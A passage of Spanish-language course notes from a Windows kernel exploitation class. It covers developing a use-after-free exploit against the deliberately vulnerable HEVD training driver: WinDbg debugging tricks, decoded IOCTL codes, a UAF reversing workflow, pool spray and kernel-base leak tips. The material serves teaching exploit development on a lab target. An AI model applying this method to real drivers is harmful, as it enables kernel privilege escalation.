PagedPool— para eso hay que usar otros objetos (e.g., los objetos GDI mencionados).
15. Tip de debugging — saltar el call rax para evitar BSoD¶
Truco operativo: Cuando se está experimentando con un exploit que termina en
call qword ptr [rax]yraxapunta a basura, cada test termina en BSoD y obliga a reiniciar la VM. Para evitarlo:
Procedimiento¶
- Poner un breakpoint justo en el
call qword ptr [rax](no después). - Cuando breakea, inspeccionar
raxy el contenido de[rax]para confirmar el state. - Antes de continuar, modificar
RIPmanualmente para saltearse elcall: - Continuar normalmente (
g). El driver retorna sin crashear, el sistema sigue vivo, se puede iterar.
Ejemplo concreto¶
0: kd> u HEVD!UseUaFObject + 0x12 L2
HEVD!UseUaFObject+0x12:
fffff80a`12345678 ff10 call qword ptr [rax] ; ← break aquí
fffff80a`1234567a 33c0 xor eax, eax ; ← saltar a esto
fffff80a`1234567c c3 ret
0: kd> r rax
rax=0000000000000000 ← null deref → BSoD si dejamos correr
0: kd> r rip = fffff80a`1234567a ; saltear el call
0: kd> g ; continuar — driver retorna OK, no BSoD
Cuándo usarlo¶
| Situación | Útil |
|---|---|
| Verificando que el state se está armando bien (allocate/free orden) | ✅ |
| Iterando en pool spray para encontrar el size correcto | ✅ |
| Confirmando que el Callback se pisó correctamente | ✅ |
| Para "explotar de verdad" | ❌ — en este punto sí dejar correr |
Por qué es seguro: El
call qword ptr [rax]que falló es a una función inválida — el resto del handler (después del call) generalmente solo limpia y retornaSTATUS_SUCCESS. Saltarse el call no rompe el state del driver para un próximo test.No siempre es seguro: Si el código después del call asume que el callback hizo algo (ej. modificó una global), saltearlo puede dejar state corrupto. Mirar el flujo siguiente antes de saltar.
16. Cheat sheet de la clase¶
Comandos WinDbg nuevos¶
rdmsr c0000082 ; leer LSTAR
wrmsr c0000082, <val> ; ESCRIBIR LSTAR (BSoD inmediato por PatchGuard — solo curiosidad)
!pool <addr> ; estado del chunk del pool al que pertenece <addr>
!pool <addr> 2 ; igual pero con detalles extras
!poolfind <tag> ; buscar todos los chunks con un tag específico
dt nt!_POOL_HEADER <addr> ; aplicar struct del header del pool
Workflow para reversear un UAF¶
1. Identificar IOCTLs con Allocate → ExAllocatePoolWithTag visible
2. Identificar IOCTLs con Free → ExFreePoolWithTag
3. Verificar que el Free NO nullifica → bug si la global queda dangling
4. Buscar IOCTLs que dereferencien la → "use" → call indirect / store
global del objeto (xrefs)
5. Confirmar el reuse vector (Allocate → Allocate Fake en el mismo bucket
Fake del mismo size + tag)
6. Tirar el exploit naive en debug → confirmar bug en runtime
7. Si el reuse no ocurre, agregar → pipes / mailslots / etc.
pool spray
Decodificación del IOCTL UAF¶
| IOCTL | DeviceType | Method | FunctionCode | Operación |
|---|---|---|---|---|
0x222053 |
0x22 |
METHOD_NEITHER |
0x814 |
Allocate UAF |
0x22205B |
0x22 |
METHOD_NEITHER |
0x816 |
Free UAF |
0x22205F |
0x22 |
METHOD_NEITHER |
0x817 |
Allocate Fake |
0x222057 |
0x22 |
METHOD_NEITHER |
0x815 |
Use UAF |
Dos reglas de oro¶
| Regla | Dónde aplica |
|---|---|
Pisar LSTAR está muerto desde Vista x64 (PatchGuard); leerlo sigue siendo útil para leak |
Cualquier exploit que necesite la base de ntoskrnl |
| El leak de kernel base cambia mes a mes — no aprenderse uno específico, aprenderse el método de buscar uno vigente | Cada exploit kernel nuevo |
Pool tags y endianness — el truco más confuso¶
Cuando se ve mov r8d, 6B636148h en assembly, es un tag Hack que se ve normal en !pool. La inversión es por little-endian, no por el código fuente.
Recursos¶
| Recurso | URL |
|---|---|
| HEVD repo | https://github.com/hacksysteam/HackSysExtremeVulnerableDriver |
ExAllocatePoolWithTag docs |
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exallocatepoolwithtag |
ExFreePoolWithTag docs |
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-exfreepoolwithtag |
| MSR list (LSTAR, STAR, etc.) | https://en.wikipedia.org/wiki/Model-specific_register |
| PatchGuard overview | https://en.wikipedia.org/wiki/Kernel_Patch_Protection |
| LFH/Segment Heap analysis | https://www.synacktiv.com/en/publications/heap-internals-and-exploitation-low-fragmentation-heap-lfh.html |
| Awesome Windows kernel security | https://github.com/sailay1996/awesome-windows-kernel-security-development |
| LOLDrivers (BYOVD database) | https://www.loldrivers.io/ |
Apuntes basados en la transcripción de la Clase 3 del Módulo 5 de Binary Gecko Academy — Next-Gen Reverse Engineering Training, sesión del 07/05/2026.